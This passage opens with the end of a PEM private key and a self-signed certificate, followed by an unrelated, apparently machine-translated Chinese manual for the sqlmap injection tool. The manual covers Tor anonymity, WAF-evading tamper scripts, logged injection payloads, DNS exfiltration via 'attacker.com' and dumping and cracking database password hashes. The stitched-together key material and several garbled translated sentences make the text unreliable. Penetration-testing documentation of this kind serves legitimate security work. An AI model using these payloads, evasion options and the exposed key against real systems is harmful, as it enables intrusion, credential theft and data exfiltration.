mQQyR2ChAgMBAAECggEBAIqvMveC1cOCCksbi7cQeNVYxvtcFT0e/LwkwQS7gat/
anmQTT2APrJyemEFPkQK76KNlMQMsaLEP+p28IOVydjvin5Aq8tTs1uK6Fw8Kfya
elt5X3eCHZ3lgskuljW/nIcsfI08o9cJuxT5hB6yvmPDTQos+nMMYy1KEcv1LQd8
Y+QAmVQqMF5Nyf8Q6op6hWZIIJY5NDbRE0zYzhGcHWg2798Dx1sO0HT6TD8cNP8H
AVp/V21tzpmFpe0A7NajgYEjkij6fg+6mG0j0WZdWymYXDeiTdDpwzs/SPRevBLn
Okp/6vqtdekMeYL591MNBl8GRZpJW9gNLRX7vQ6YYAECgYEAxGV9e85GpLUd/uUb
1MvGajd+HtN/uoWH1ySG34vi3q/dDKBehry2yoDUosxXf9vbH0IrvaXnO8yXGflS
wb2TELLezGWbw6kPaw2XIgL4elO5TPh2rNJwz1wOhv3FT2XSGJbXx/CED3mL7MGs
qwRU/bRrNV7RmzV2veThlLCLjZECgYEAw8jm7vOzQQnqEjs0wlfJmzOyFqilYvEP
8v7HxDv1M7e7M0TqLECET9VlQE5spGuzEWN7/iMtE8xxnz2n/vGnGAV8qv1LJYrA
TWQMTIC6V9/jKM8wNOfT7Eh1rJ1cty87yokXpy/cdmkv7yxb1b2zuBk8/1nlYqA0
5uqb345eWhECgYEAmoXv0TVfR8BpNWA2IZujJXc7+C0YVj0xwAixRbneaq+cEI8t
UH2ypGnw45Y7UhI9ub5qg/DAmsBCMuGER4NM7tqNiex4Pd4Kj4RF4TDNKBIvvWvQ
k/GPaNdZZsTMNcg7IbWtWVbX0QUlHsbTgEsMRAFsSLWt3ZyXLJmlE0REyMECgYEA
oCqEscrwRC7GLK/+01ZZ+fvqnxrMYgrvj0zbRDAAwpR2MtUX9ae6Fk1vDZKa0k/B
KGKIlzlTsTS5ZxpbivdKSR6EBKY+ibHe6/EDFrrgtu7TuRj2SPG2rz//9Hyv0rRz
Z5eLoBxJcR1QN4vEfTE6C0uqWQPD4lFJtfcMGXEwwuECgYAK+4gwPBlrKClrRtDc
7Fnq8RLYeZRbM5WEmTHfRnlYylniMsj2K20H8ln8pdOqCE4iJn0SezIQIaAtcwMP
WQt15kgJgLwM/uBtqDeWRpTEotVMFXQbZImobjpXUhTqu0NWBwbypM/zarfRWPJ4
fJkrlA16caVj3qGaX1lkm06OAA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJALTHPlkIs/+KMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
aWRnaXRzIFB0eSBMdGQwHhcNMTgwODIyMDc0NTQxWhcNMTkwODIyMDc0NTQxWjBF
MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50
ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAljNvCdbmtgyDX1S1NvKHicEInS/b00aBiUeaXwVOjIbt9wr+kblRCQHz
FhCmA0m6m6xMstc1IjU3BphHdNuj3qtEj0b7CrFW+ivhB1Rd6/uhMVxxHLT0W4dh
iM4tpAkDJHRw4Pg4ZonkPfR2sZPSERCWU6NrwtaIbzOTP8rm8OIsIDJQ2lvuLPNj
oDnAi43sGzyxWVOYDFfvFlyylLbVGMFe/Xbj2xLxvUtbKDRR4bvzDnDYiiaR9s0n
oHfQ5OfziURl+cRIr+wMi+LIUC6QKp+ZLmXJtivom/+Mf0cNsk9UpYdrUCIvEXMJ
WMsnDq0qr4Vu773apG5W2JkEMkdgoQIDAQABo1AwTjAdBgNVHQ4EFgQUVvHI/2qF
kmRCEWlWB+ZvJzWTnUkwHwYDVR0jBBgwFoAUVvHI/2qFkmRCEWlWB+ZvJzWTnUkw
DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAg5tmkM75/NEEymu0ublj
c2R1/ZxwbKMjg98KxLqGFJbPVRG0qgIy+uc+Gvh6FEgPF22i4L9DROfuDQW3YSJ6
x3JnJxLsU+jjXxtN7hNwoQziQkicKr0y47TjqOKLlBlKTbdnr74nJXSYQhi4qEFE
qgrUG7ScitgLvcf2sDVf9L2SUsH5iRK+HlgYEtSKhUl5SkLapcUUF+GmectUOkm7
m7Z8gelenVUerLojnQL2avKD07hWTTGkgX2PV8hdun0WIvBLWAcJN+6T9sdakJZZ
qJjFQBXjcxwgVe0vB0vJmqa5lj9OymQnBMjp+3zpUtDJNH2M1qySbU6tGEX1wsW/
VA==
-----END CERTIFICATE-----

--忽略HTTP错误401(未经授权)
开关 --ignore-401

如果您想测试偶尔返回HTTP错误401(未授权)的站点,而您想忽略它并继续测试而不提供正确的凭据,您可以使用开关 --ignore-401

-- sqlmap 使用 HTTP(s)代理
选项和开关:--proxy,--proxy-cred,--proxy-file和--ignore-proxy

可以提供HTTP(S)代理地址以通过HTTP(S)请求通过选项传递到目标URL --proxy。HTTP(S)代理值的语法是http://url:port。

如果HTTP(S)代理需要身份验证,您可以username:password以该选项的格式提供凭据--proxy-cred。

如果您想使用(一次性)代理列表,在任何连接问题的迹象(例如阻止侵入性IP地址)上跳到下一个代理,--proxy-file可以通过提供包含代理批量列表的文件的文件名来使用选项。

--ignore-proxy如果要通过忽略系统范围的设置HTTP(S)代理服务器设置来针对局域网的目标部分运行sqlmap,则应使用Switch 。

--Tor匿名网络
开关和选项:--tor,--tor-port,--tor-type和--check-tor

如果出于任何原因,你需要保持匿名,而不是由单一的预定义的HTTP(S)代理服务器传递,您可以配置Tor客户端一起Privoxy的(或类似)你的机器上,在解释的Tor安装指南。然后你可以使用一个开关--tor和sqlmap将尝试自动设置Tor代理连接设置。

如果您想手动设置使用的Tor代理的类型和端口,可以使用选项--tor-type和--tor-port(例如--tor-type=SOCKS5 --tor-port 9050)。

强烈建议您--check-tor偶尔使用以确保所有设置都正确。有些情况下Tor捆绑(例如Vidalia)配置错误(或重置之前设置的配置)会给你一种虚假的匿名感。使用此开关sqlmap将通过向官方发送单个请求来检查一切是否按预期工作您是否正在使用Tor?任何目标请求之前的页面。如果检查失败,sqlmap将警告您并突然退出。

--sqlmap 每个HTTP请求之间的延迟
选项: --delay

可以指定每个HTTP(S)请求之间保持的秒数。有效值是浮点数,例如0.5意味着半秒。默认情况下,不设置延迟。

--在超时连接之前等待的秒数
选项: --timeout

在考虑HTTP(S)请求超时之前,可以指定等待的秒数。有效值是浮点数,例如10.5表示10秒半。默认设置为30秒。

--HTTP连接超时时的最大重试次数
选项: --retries

可以指定HTTP(S)连接超时时的最大重试次数。默认情况下,它最多重试三次。

--随机更改给定参数的值
选项: --randomize

可以指定在每个请求期间要随机更改其值的参数名称。根据提供的原始值保留长度和类型。

--使用正则表达式从提供的代理日志中过滤目标
选项: --scope

-l您可以指定用于过滤所需的有效Python正则表达式,而不是使用从提供的日志中解析的所有主机选项。

有效语法示例:

$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

--sqlmap避免在太多不成功的请求后销毁会话
选项:--safe-url,--safe-post,--safe-req和--safe-freq

有时,如果执行了一定数量的不成功请求,则Web应用程序或其间的检查技术会破坏会话。这可能发生在sqlmap的检测阶段或利用任何盲SQL注入类型时。原因是SQL有效负载不一定返回输出,因此可能会向应用程序会话管理或检查技术发出信号。

要绕过目标设置的此限制,您可以提供任何(或组合)选项:

--safe-url:测试期间经常访问的URL地址。
--safe-post:HTTP POST数据发送到给定的安全URL地址。
--safe-req:从文件加载并使用安全的HTTP请求。
--safe-freq:在两次访问给定安全位置之间测试请求。
这样,sqlmap将访问每个预定义数量的请求某个安全 URL而不对其执行任何类型的注入。

--sqlmap关闭参数值的URL编码
开关: --skip-urlencode

根据参数放置(例如GET),其值可以默认为URL编码。在某些情况下,后端Web服务器不遵循RFC标准,并要求以原始非编码形式发送值。用于--skip-urlencode那种情况。

--sqlmap绕过反CSRF保护 (比较有用)
选项:--csrf-token和--csrf-url

许多站点都采用了令牌形式的反CSRF保护,隐藏的字段值在每个页面响应期间随机设置。SqlMap的会自动尝试识别并绕过这种保护,但也有选项--csrf-token,并--csrf-url可以用来进一步微调它。Option --csrf-token可用于设置包含随机化令牌的隐藏值的名称。当网站对此类字段使用非标准名称时,这非常有用。选项--csrf-url可用于从任意URL地址检索令牌值。如果易受攻击的目标URL首先不包含必要的标记值,则这很有用,但需要从其他位置提取它。

--强制使用SSL / HTTPS
开关: --force-ssl

如果用户想要强制对目标使用SSL / HTTPS请求,他可以使用此开关。当使用选项收集URL --crawl或者为Burp日志提供选项时,这可能很有用-l。

--在每个请求期间评估自定义python代码
选项: --eval

如果用户想要更改(或添加新的)参数值,很可能是因为某些已知的依赖项,他可以向sqlmap提供一个自定义的python代码,该选项--eval将在每个请求之前进行评估。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\
20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

此类运行的每个请求都将重新评估GET参数的值,hash以包含参数当前值的新MD5哈希摘要id。

-优化
这些开关可用于优化sqlmap的性能。

--捆绑优化
开关: -o

此开关是一个别名,隐式设置以下选项和开关:

--keep-alive
--null-connection
--threads=3 如果没有设置为更高的值。
请阅读以下有关每个开关的详细信息

--输出预测
开关: --predict-output

该开关用于推理算法,用于对检索到的值的字符进行顺序统计预测。具有最有希望的字符值的统计表是基于txt/common-outputs.txt结合所使用的当前枚举的知识给出的项目构建的。如果可以在公共输出值中找到该值,则随着处理的进行,后续字符表越来越窄。如果与检索常见DBMS实体结合使用,与系统表名称和权限一样,加速非常重要。当然,您可以根据需要编辑公共输出文件,例如,如果您注意到数据库表名称中的常见模式或类似名称。

请注意,此开关与--threads开关不兼容。

--HTTP Keep-Alive
开关: --keep-alive

此开关指示sqlmap使用持久性HTTP(s)连接。

请注意,此开关与--proxy开关不兼容。

--HTTP NULL连接
开关: --null-connection

有一些特殊的HTTP请求类型可用于检索HTTP响应的大小而无需获取HTTP正文。这种知识可以在盲目注射技术被用来区分True来自False响应。当提供此开关时,sqlmap将尝试测试和利用两种不同的NULL连接技术:Range和HEAD。如果目标Web服务器支持其中任何一项,则加速将来自显着节省使用的带宽。

这些技术在白皮书“ 盲目SQL注入中的突发性能 - 拍摄2(带宽)”中有详细介绍。

请注意,此开关与开关不兼容--text-only。

--并发HTTP(S)请求(常用)
选项: --threads

可以指定允许sqlmap执行的最大并发HTTP(S)请求数。此功能依赖于多线程概念,并继承了它的优点和缺点。

此功能适用于强力开关,以及通过任何盲SQL注入技术完成数据获取时。对于后一种情况,sqlmap首先在单个线程中计算查询输出的长度,然后启动多线程。分配每个线程以检索查询输出的一个字符。检索到该字符时线程结束 - 使用sqlmap中实现的二分算法最多需要7个HTTP(S)请求。

出于性能和站点可靠性的原因,最大并发请求数设置为10。

请注意,此选项与交换机不兼容--predict-output。

-注射
这些选项可用于指定要测试的参数,提供自定义注入有效负载和可选的篡改脚本。

--可测试参数
选项:-p,--skip和--param-exclude

默认情况下,sqlmap会测试所有GET参数和POST参数。当值--level> = 2时,它还测试HTTP Cookie标头值。当此值> = 3时,它还会测试SQL注入的HTTP User-Agent和HTTP Referer标头值。但是,可以手动指定希望sqlmap测试的以逗号分隔的参数列表。这也将绕过对价值的依赖--level。

例如,要测试GET参数id和User-Agent仅测试HTTP ,请提供-p "id,user-agent"。

如果用户想要从测试中排除某些参数,他可以使用选项--skip。当您想要使用更高的值--level并测试除正常测试的一些HTTP头之外的所有可用参数时,这尤其有用。

例如,跳过测试HTTP标头User-Agent和HTTP头Referer在--level=5,提供--skip="user-agent,referer"。

还可以基于在其名称上运行的正则表达式从测试中排除某些参数。在这种情况下,用户可以使用选项--param-exclude。

例如,要跳过测试包含字符串token或其session名称的参数,请提供--param-exclude="token|session"。

--sqlmap URI注入点

当注入点在URI本身内时,有一些特殊情况。除非手动指向,否则sqlmap不会对URI路径执行任何自动测试。您必须在命令行中指定这些注入点,方法是在希望sqlmap测试并利用SQL注入的每个URI点之后附加星号(*)(注意:%INJECT HERE%也支持Havij样式)。

例如,当Apache Web服务器的mod_rewrite模块正在使用或其他类似技术时,这尤其有用。

有效命令行的示例如下:

$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

--sqlmap任意注射点

与URI注入点类似,asterisk(*)(注意:%INJECT HERE%也支持Havij样式)也可用于指向GET,POST或HTTP头内的任意注入点。注射点可以通过标记它设置有选项的GET参数值(一个或多个)内指定-u,POST参数值(一个或多个)提供选项--data,设置有选择HTTP标头值(S) ,-H,,--headers 和/或,或在通用处从带有选项的文件加载的HTTP请求内部。--user-agent--referer--cookie-r

有效命令行的示例如下:

$ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"

--mysql 强制数据库类型 DBMS
选项: --dbms

默认情况下,sqlmap会自动检测Web应用程序的后端数据库管理系统。sqlmap完全支持以下数据库管理系统:

MySQL
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
IBM DB2
SQLite
Firebird
Sybase
SAP MaxDB
HSQLDB
Informix

如果出于任何原因,一旦识别出SQL注入,sqlmap就无法检测到后端DBMS,或者如果您想避免使用活动的fingeprint,则可以自己提供后端DBMS的名称(例如postgresql)。对于MySQL和Microsoft SQL Server的形式分别为他们提供MySQL 和Microsoft SQL Server ,其中是数据库管理系统的有效版本; 例如,5.0对于MySQL和2005Microsoft SQL Server。

在您提供的情况下--fingerprint一起--dbms,SqlMap的将只在指定的数据库管理系统只进行了广泛的指纹,对于进一步的细节阅读以下内容。

请注意,此选项不是必需的,强烈建议仅在您完全确定后端数据库管理系统时才使用它。如果您不知道,请让sqlmap自动为您指纹。

--强制数据库管理系统操作系统名称
选项: --os

默认情况下,当此信息依赖于任何其他提供的开关或选项时,sqlmap会自动检测Web应用程序的后端数据库管理系统底层操作系统。目前,完全支持的操作系统是:

linux
windows

如果您已经知道操作系统名称,则可以强制操作系统名称,以便sqlmap避免自行执行此操作。

请注意,此选项不是必需的,强烈建议仅在您完全确定后端数据库管理系统底层操作系统时才使用它。如果您不知道,请让sqlmap自动为您识别它。

--sqlmap强制使用大数字来使值无效
开关: --invalid-bignum

在sqlmap需要使原始参数值无效的情况下(例如id=13),它使用经典否定(例如id=-13)。通过该开关,可以强制使用大整数值来实现相同的目标(例如id=99999999)。

--sqlmap强制使用逻辑运算来使值无效
开关: --invalid-logical

在sqlmap需要使原始参数值无效的情况下(例如id=13),它使用经典否定(例如id=-13)。通过此切换,可以强制使用布尔运算来实现相同的目标(例如id=13 AND 18=19)。

--sqlmap强制使用随机字符串来使值无效
开关: --invalid-string

在sqlmap需要使原始参数值无效的情况下(例如id=13),它使用经典否定(例如id=-13)。通过这种切换,可以强制使用随机字符串来实现相同的目标(例如id=akewmc)。

--关闭有效负载铸造机制
开关: --no-cast

检索结果时,sqlmap使用一种机制,其中所有条目都被转换为字符串类型,并在NULL值的情况下替换为空白字符。这样做是为了防止任何错误的状态(例如,NULL用字符串值连接值)并且易于数据检索过程本身。然而,有报道的案例(例如旧版本的MySQL DBMS)需要关闭此机制(使用此开关),因为数据检索本身存在问题(例如None返回值)。

--关闭字符串转义机制
开关: --no-escape

在sqlmap需要在有效负载(例如SELECT 'foobar')内使用(单引号分隔)字符串值的情况下,这些值将自动转义(例如SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))。这是因为两件事:有效载荷内容的混淆和防止后端服务器上的查询转义机制(例如magic_quotes和/或mysql_real_escape_string)的潜在问题。用户可以使用此开关将其关闭(例如,以减少有效负载大小)。

--sqlmap指定注入有效攻击
选项:--prefix和--suffix

在某些情况下,仅当用户提供要附加到注射有效负载的特定后缀时,易受攻击的参数才可被利用。当用户已经知道查询语法并希望通过直接提供注入有效负载前缀和后缀来检测和利用SQL注入时,这些选项变得方便的另一种情况就会出现。

易受攻击的源代码示例:

$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";

要检测和利用此SQL注入,您可以让sqlmap 在检测阶段为您检测边界(如SQL有效负载前缀和后缀的组合),或者自己提供它们。

例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\
?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]

这将导致所有sqlmap请求最终在查询中,如下所示:

$query = "SELECT * FROM users WHERE id=('1')  AND ('abc'='abc') LIMIT 0, 1";

这使查询在语法上正确。

在这个简单的示例中,sqlmap可以检测SQL注入并利用它而无需提供自定义边界,但有时在实际应用程序中,当注入点位于嵌套JOIN查询中时,有必要提供它。

--sqlmap 指定脚本注入数据
选项: --tamper

sqlmap本身不会对发送的有效负载进行模糊处理,除了单引号之间的字符串被它们的CHAR()-alike表示替换。

在您与后端数据库管理系统之间存在弱输入验证机制的情况下,此选项非常有用且功能强大。此机制通常是由应用程序源代码,昂贵的企业级IPS设备或Web应用程序防火墙(WAF)调用的自行开发的输入验证例程。所有流行语通常用于定义相同的概念,以不同的方式实现并且花费大量金钱。

要利用此选项,请为sqlmap提供以逗号分隔的篡改脚本列表,这将处理有效内容并返回已转换的内容。您可以定义自己的篡改脚本,使用tamper/文件夹中的sqlmap 或编辑它们,只要您将它们以逗号分隔为选项的值--tamper(例如--tamper="between,randomcase")进行连接即可。

有效的篡改脚本的格式如下:

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    '''
    Description of your tamper script
    '''

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal

您可以在tamper/目录中检查有效和可用的篡改脚本。

假设禁止>字符,空格和大写SELECT字符串,针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause' injectable 
[...]

-发现
这些选项可用于自定义检测阶段。

--sqlmap 测试等级
选项: --level

此选项需要一个参数,该参数指定要执行的测试级别。有五个级别。默认值为1,其中执行有限数量的测试(请求)。反之亦然,级别5将详细测试更大数量的有效负载和边界(如在SQL有效负载前缀和后缀对中)。sqlmap使用的有效负载在文本文件中指定xml/payloads.xml。按照文件顶部的说明,如果sqlmap错过了注入,你应该能够添加自己的有效负载进行测试!

不仅此选项会影响sqlmap尝试的有效负载,还会影响检查中的哪些注入点:始终测试GET和POST参数,从级别2测试HTTP Cookie标头值,并测试HTTP User-Agent / Referer标头的值3级。

总而言之,检测SQL注入越困难,--level必须设置得越高。

在向邮件列表报告sqlmap无法检测到某个注入点之前,强烈建议更高此值。

--sqlmap 风险
选项: --risk

此选项需要一个参数,该参数指定要执行测试的风险。有三个风险值。默认值为1,这对于大多数SQL注入点都是无害的。风险值2增加了默认级别,基于大量查询时间OR的SQL注入的测试和值3也增加了基于SQL的注入测试。

在某些情况下,就像UPDATE语句中的SQL注入一样,注入OR基于有效负载可能会导致更新表的所有条目,这肯定不是攻击者想要的。出于这个原因和其他人已经引入了这个选项:用户可以控制测试哪些有效负载,用户可以任意选择使用也有潜在危险的有效负载。根据上一个选项,sqlmap使用的有效负载在文本文件中指定xml/payloads.xml,您可以自由编辑和添加自己的所有者。

--sqlmap页面比较
选项:--string,--not-string,--regexp和--code

默认情况下,通过将注入的请求页面内容与原始未注入的页面内容进行比较来完成True查询与一个查询False(基于布尔的盲SQL注入漏洞背后的粗略概念)的区别。并不总是这个概念有效,因为有时页面内容会在每次刷新时更改,甚至不会注入任何内容,例如,当页面具有计数器,动态广告横幅或动态呈现的HTML的任何其他部分时,不仅可能及时更改因此对用户的输入。为了绕过这个限制,sqlmap会努力识别响应主体的这些片段并进行相应的处理。有时它可能会失败,这就是用户可以提供应该的字符串(--string选项)的原因出现在原始页面上(虽然它不是一个要求)和所有True注入的查询页面,但它不是假的。用户可以提供正则表达式(--regexp选项),而不是静态字符串。或者,用户可以提供原始页面上不存在的字符串(--not-string选项),而不是所有True注入的查询页面,但始终显示为False。

这样的数据对于用户来说很容易检索,只是尝试向受影响的参数注入无效值并且手动地将原始(未注入的)页面内容与注入的错误页面内容进行比较。这种区别将基于字符串存在或正则表达式匹配。

在用户知道可以使用HTTP代码(例如for 和for )完成True查询与一个查询的区别的情况下,他可以将该信息提供给sqlmap(例如)。False200True401False--code=200

开关:--text-only和--titles

在用户知道可以使用HTML标题(例如for 和for )完成True查询与一个查询的区别的情况下,他可以使用开关打开基于标题的比较。FalseWelcomeTrueForbiddenFalse--titles

在HTTP响应正文中有大量活动内容(例如脚本,嵌入等)的情况下,您可以--text-only仅针对其文本内容过滤页面(切换)。这样,在很多情况下,您可以自动调整检测引擎。

-技术
这些选项可用于调整特定SQL注入技术的测试。

--sqlmap用于测试的SQL注入类型
选项: --technique

此选项可用于指定要测试的SQL注入类型。默认情况下,sqlmap会测试它支持的所有类型/技术。

在某些情况下,您可能只想测试一种或几种特定类型的SQL注入思想,这就是此选项发挥作用的地方。

此选项需要参数。这种参数是一个通过的任何组合组成的字符串B,E,U,S,T和Q字符,其中每个字母代表一种不同的技术:

B: 基于布尔的盲   Boolean-based blind
E: Error-based    基于错误
U: Union query-based    基于联合查询
S: Stacked queries    堆叠查询
T: Time-based blind   基于时间的盲注
Q: Inline queries    内联查询

例如,ES如果您只想测试和利用基于错误的堆栈查询SQL注入类型,则可以提供。默认值为BEUSTQ。

请注意,字符串必须包含堆栈查询技术字母,S当您要访问文件系统时,请接管操作系统或访问Windows注册表配置单元。

--秒来延迟基于时间的盲SQL注入的DBMS响应
选项: --time-sec

通过提供--time-sec选项后跟整数,可以设置在测试基于时间的盲SQL注入时延迟响应的秒数。默认情况下,它的值设置为5秒。

--UNION查询SQL注入中的列数
选项: --union-cols

默认情况下,sqlmap使用1到10列测试UNION查询SQL注入技术。但是,通过提供更高的--level值,此范围可以增加到50列。有关详细信息,请参阅相关段落。

您可以手动告诉sqlmap通过为工具提供选项--union-cols后跟一系列整数来测试具有特定列范围的此类SQL注入。例如,12-16表示使用12个最多16列来测试UNION查询SQL注入。

--用于测试UNION查询SQL注入的字符
选项: --union-char

默认情况下,sqlmap使用NULL字符测试UNION查询SQL注入技术。但是,通过提供更高的--level值,sqlmap也将使用随机数执行测试,因为在某些极端情况下UNION查询测试NULL失败,而随机整数则成功。

您可以通过使用--union-char具有所需字符值的选项(例如--union-char 123)手动告诉sqlmap测试具有特定字符的此类SQL注入。

--要在UNION查询SQL注入的FROM部分中使用的表
选项: --union-from

在某些UNION查询SQL注入案例中,需要在FROM子句中强制使用有效且可访问的表名。例如,Microsoft Access需要使用此类表。如果不提供一个UNION查询,SQL注入将无法正确执行(例如--union-from=users)。

--DNS渗透攻击
选项: --dns-domain

DNS注入SQL注入攻击在SQL注入攻击中通过DNS进行数据检索中描述,而在sqlmap中执行它的实现可以在使用sqlmap的幻灯片DNS exfiltration中找到。

如果用户正在控制注册为DNS域服务器(例如域attacker.com)的计算机,则可以使用此选项(例如--dns-domain attacker.com)打开此攻击。它的先决条件是运行具有Administrator特权的sqlmap (使用特权端口53),并且可以利用一种普通(盲)技术。仅仅是为了识别至少一种技术(在最好的情况下基于时间的盲目),这种攻击的目的只是加速数据检索的过程。如果基于错误的盲或UNION查询技术可用,它将被跳过,因为默认情况下它们是首选的。

--sqlmap二阶攻击
选项: --second-order

二阶SQL注入攻击是一种攻击,其中一个易受攻击的页面中注入的有效负载的结果在另一个(例如帧)上显示(反映)。通常这是因为用户在原始易受攻击的页面上提供输入的数据库存储。

您可以通过使用--second-order带有显示结果的网页的URL地址的选项,手动告诉sqlmap测试此类SQL注入。

-指纹

--广泛的数据库管理系统指纹

开关:-f或--fingerprint

默认情况下,Web应用程序的后端数据库管理系统指纹由sqlmap自动处理。在检测阶段结束并且最终提示用户选择要进一步使用哪个易受攻击的参数之后,sqlmap指纹后端数据库管理系统并通过知道使用哪种SQL语法,方言和查询继续注入在数据库体系结构的限制内继续进行攻击。

如果您希望基于各种技术(如特定SQL方言和带内错误消息)执行大量数据库管理系统指纹,则可以提供此开关--fingerprint。sqlmap将执行更多请求并指纹确切的DBMS版本,并在可能的情况下指示操作系统,体系结构和补丁级别。

如果您希望指纹得到更准确的结果,您还可以提供开关-b或--banner。

-列举

这些选项可用于枚举表中包含的后端数据库管理系统信息,结构和数据。此外,您可以运行自己的SQL语句。

--sqlmap搜索所有
开关: --all

此开关可用于用户想要使用单个开关搜索远程可访问的所有内容的情况。建议不要这样做,因为它会生成大量请求,搜索有用和无用的数据。

--标识
开关:-b或--banner

大多数现代数据库管理系统具有功能和/或环境变量,其返回数据库管理系统版本并最终在其补丁级别(基础系统)上进行详细说明。通常函数是version()和环境变量@@version,但这取决于目标DBMS。

针对Oracle目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner

[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

--会话用户
开关: --current-user

通过此切换,可以检索数据库管理系统的用户,该用户有效地从Web应用程序对后端DBMS执行查询。

--当前数据库
开关: --current-db

使用此开关,可以检索Web应用程序所连接的数据库管理系统的数据库名称。

--服务器主机名
开关: --hostname

使用此开关,可以检索数据库管理系统的主机名。

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname

[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname:    'debian-5.0-i386'

--检测会话用户是否是数据库管理员
开关: --is-dba

可以检测当前数据库管理系统会话用户是否是数据库管理员,也称为DBA。True如果是sqlmap将返回,反之亦然False。

--列出数据库管理系统用户
开关: --users

当会话用户具有包含有关DBMS用户信息的系统表的读访问权时,可以枚举用户列表。

--列出并破解数据库管理系统用户的密码哈希值
开关: --passwords

当会话用户具有包含有关DBMS用户密码信息的系统表的读访问权时,可以枚举每个数据库管理系统用户的密码哈希值。sqlmap将首先枚举用户,然后为每个用户枚举不同的密码哈希值。

针对PostgreSQL目标的示例:


$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] 
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

不仅sqlmap枚举了DBMS用户及其密码,而且还识别出散列格式为PostgreSQL,询问用户是否针对字典文件测试散列并确定postgres用户的明文密码,这通常是一个DBA沿着另一个用户testuser,密码。

此功能已针对所有DBMS实施,可以枚举用户的密码哈希值,包括2005年前后的Oracle和Microsoft SQL Server。

您还可以提供选项-U以指定要枚举的特定用户,并最终破解密码哈希值。如果您提供CU用户名,则会将其视为当前用户的别名,并将检索此用户的密码哈希值。

--列出数据库管理系统用户权限
开关: --privileges

当会话用户具有包含有关DBMS用户信息的系统表的读访问权时,可以枚举每个数据库管理系统用户的权限。通过权限,sqlmap还将显示哪些是数据库管理员。

您还可以提供-U指定要枚举权限的用户的选项。

如果您提供CU用户名,则会将其视为当前用户的别名,并将枚举此用户的权限。

在Microsoft SQL Server上,此功能将显示每个用户是否是数据库管理员而不是所有用户的权限列表。

--列出数据库管理系统用户角色
开关: --roles

当会话用户具有包含有关DBMS用户信息的系统表的读访问权时,可以枚举每个数据库管理系统用户的角色。

您还可以提供-U指定要枚举权限的用户的选项。

如果您提供CU用户名,则会将其视为当前用户的别名,并将枚举此用户的权限。

此功能仅在DBMS为Oracle时可用。

--列出数据库管理系统的数据库
开关: --dbs

当会话用户对包含有关可用数据库的信息的系统表具有读访问权时,可以枚举数据库列表。

